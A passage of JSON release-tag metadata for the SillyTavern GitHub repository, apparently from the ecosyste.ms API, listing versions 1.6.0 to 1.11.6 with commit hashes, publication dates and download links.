tml_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.6/manifests"},{"name":"1.11.5","sha":"6f5dbc2a52b3e6371bb2bfacd433905db60a1684","kind":"commit","published_at":"2024-02-27T19:11:16.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.5/manifests"},{"name":"1.11.4-1","sha":"2d152d2705408f0ad635de9705c0ae70d06b4331","kind":"commit","published_at":"2024-02-11T13:38:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4-1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4-1/manifests"},{"name":"1.11.4","sha":"91f31e746ee2f0c1e31f852facff64e00205729c","kind":"commit","published_at":"2024-02-10T19:24:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.4/manifests"},{"name":"1.11.3","sha":"593129175b9c3a972e084869cd94be5c83ee4593","kind":"commit","published_at":"2024-02-04T18:42:21.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.3/manifests"},{"name":"1.11.2","sha":"5f5c066373b0b41ddf42ce1d50e4fe20201a88b1","kind":"commit","published_at":"2024-01-14T18:52:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.2/manifests"},{"name":"1.11.1","sha":"736223a86acfd9919c707bd09c3ebc02a8ab00fd","kind":"commit","published_at":"2023-12-23T18:47:48.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.1/manifests"},{"name":"1.11.0","sha":"f43d738dfd10b9430130ec1bd2805aac02c6ecf0","kind":"commit","published_at":"2023-12-09T17:59:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.11.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.11.0/manifests"},{"name":"1.10.10","sha":"74e5e0e4c0f800651fea7c57604158f552435393","kind":"commit","published_at":"2023-11-26T18:38:50.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.10","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.10/manifests"},{"name":"1.10.9","sha":"7bf62b3dad1c63ae0255d6c18e520ba97210d9ab","kind":"commit","published_at":"2023-11-12T23:52:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.9","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.9/manifests"},{"name":"1.10.8","sha":"09ebbff30d47206bd020a5a6f3f0f2531d112266","kind":"commit","published_at":"2023-11-11T14:51:08.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.8/manifests"},{"name":"1.10.7","sha":"9be3645152dab9d5b5062fa0546389aedca71d13","kind":"commit","published_at":"2023-10-27T10:26:43.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.7/manifests"},{"name":"1.10.6","sha":"b4c7bb1f7b9ed38358d61c9b9d3a78ac7e9d6b85","kind":"commit","published_at":"2023-10-26T15:44:18.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.6/manifests"},{"name":"1.10.5","sha":"c9c4f3063704c9c447466575b9831a6de368f31a","kind":"commit","published_at":"2023-10-08T18:08:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.5/manifests"},{"name":"1.10.4","sha":"565327fe1ef5a3eb16cd1b9ce28b9620962a3cda","kind":"commit","published_at":"2023-09-22T20:07:52.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.4/manifests"},{"name":"1.10.3","sha":"2b3055a84adee50a55c97c20f9ca8d6ff061c28d","kind":"commit","published_at":"2023-09-15T11:56:15.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.3/manifests"},{"name":"1.10.2","sha":"3830347d81d4e75d5e2a266f12888416f2e4a0f1","kind":"commit","published_at":"2023-09-06T13:06:23.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.2/manifests"},{"name":"1.10.1","sha":"500994e05165359245e7e884fb8155870448d2d9","kind":"commit","published_at":"2023-09-06T11:50:25.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.1/manifests"},{"name":"1.10.0","sha":"eb8d4b1f63d7ff9580214265faf431de95fa2186","kind":"commit","published_at":"2023-08-29T17:27:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.10.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.10.0/manifests"},{"name":"1.9.7","sha":"e4d1463a22554fa5406e806ebb3c2e2c96891143","kind":"commit","published_at":"2023-08-10T09:50:02.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.7/manifests"},{"name":"1.9.6","sha":"9b5e082a265ca1081932bef1ff85b8d0ccfeabd8","kind":"commit","published_at":"2023-08-08T20:29:35.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.6/manifests"},{"name":"1.9.5","sha":"6c909acea617724d6165566ed27a89242ac966cf","kind":"commit","published_at":"2023-08-08T19:54:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.5/manifests"},{"name":"1.9.4","sha":"29d841a50b89fe10cbbfa7b22c6f82b1dc7cf096","kind":"commit","published_at":"2023-07-31T09:54:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.4/manifests"},{"name":"1.9.3","sha":"675cabb7e30faf4931614175af2f4a8afcf042d3","kind":"commit","published_at":"2023-07-29T19:58:58.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.3/manifests"},{"name":"1.9.2","sha":"ef3c8a19fe5ec487af029608377636f8c892ff9c","kind":"commit","published_at":"2023-07-22T11:19:32.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.2/manifests"},{"name":"1.9.1","sha":"ef8a6d61279f19eb866acbfb54a5097bf342cc6e","kind":"commit","published_at":"2023-07-21T16:18:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.1/manifests"},{"name":"1.9.0","sha":"06912dba0ae7b1df7d75dbe1da52a7e5ab7471ba","kind":"commit","published_at":"2023-07-20T11:25:38.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.9.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.9.0/manifests"},{"name":"1.8.4","sha":"e3e2b73b99de7139b61a2c253397cf0230ca444f","kind":"commit","published_at":"2023-07-19T08:53:12.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.4/manifests"},{"name":"1.8.3","sha":"243e89091a78d5c31d7773473d57197613dc428a","kind":"commit","published_at":"2023-07-07T09:26:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.3/manifests"},{"name":"1.8.2","sha":"aed6e3413accb8037bb776672ee7cebecca23a59","kind":"commit","published_at":"2023-07-05T13:11:55.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.2/manifests"},{"name":"1.8.1","sha":"c922f17f092da5f5cfa1dc786b6f31ecf1c4444c","kind":"commit","published_at":"2023-07-04T08:49:46.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.1/manifests"},{"name":"1.8.0","sha":"d6fd5455e6a21cb35b3d6ba1408d8575bd5e9e15","kind":"commit","published_at":"2023-07-03T16:23:26.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.8.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.8.0/manifests"},{"name":"1.7.3","sha":"2bbc40a79671bc29dc168f5fa51a2597c47afcba","kind":"commit","published_at":"2023-06-29T09:20:00.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.3/manifests"},{"name":"1.7.2","sha":"3b99f7839bac82da6d9ad6e01e25a1b31be5f0ca","kind":"commit","published_at":"2023-06-28T22:10:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.2/manifests"},{"name":"1.7.1","sha":"b09ea054dfbe457d00c57c0246f96ee46ce3c521","kind":"commit","published_at":"2023-06-15T21:24:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"a7a7ec051834f5ee1bdd8273b978273d18ba07bd","kind":"commit","published_at":"2023-06-15T12:11:41.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.7.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.7.0/manifests"},{"name":"1.6.8","sha":"6541d3e741f78cffec94b8a4f01d98339fa46316","kind":"commit","published_at":"2023-06-09T19:35:17.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.8","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.8/manifests"},{"name":"1.6.7","sha":"b1d5637fcf394331bdd541028ee52715474c7a52","kind":"commit","published_at":"2023-06-07T20:40:10.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.7","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.7/manifests"},{"name":"1.6.6","sha":"c299ef0a86e1a1a0eba2ae9ad582bbae70c03d66","kind":"commit","published_at":"2023-06-04T01:29:22.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.6","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.6/manifests"},{"name":"1.6.5","sha":"77f76ae31520477ea4da0ed4cf49780295654077","kind":"commit","published_at":"2023-06-01T15:55:04.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.5","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.5/manifests"},{"name":"1.6.4","sha":"bf7f04e3b29a04c86a743eb681881736196d07ea","kind":"commit","published_at":"2023-06-01T08:18:53.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.4","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"83c875d8dcac579d271a985d5ccedd69bd257388","kind":"commit","published_at":"2023-06-01T07:13:49.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.3","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.3/manifests"},{"name":"1.6.2","sha":"b359dd1e81e653a90cd04a2b61cc71d8b93e66ef","kind":"commit","published_at":"2023-05-30T23:09:54.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.2","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.2/manifests"},{"name":"1.6.1","sha":"747567466f39658a26066d13be37ed16893fee8d","kind":"commit","published_at":"2023-05-30T22:24:20.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.1","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"9ff643c489d3d18c0f562004a2d80973a1a0efb7","kind":"commit","published_at":"2023-05-30T17:40:42.000Z","download_url":"https://codeload.github.com/SillyTavern/SillyTavern/tar.gz/1.6.0","html_url":"https://github.com/SillyTavern/SillyTavern/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/SillyTavern/SillyTavern@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SillyTavern%2FSillyTavern/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts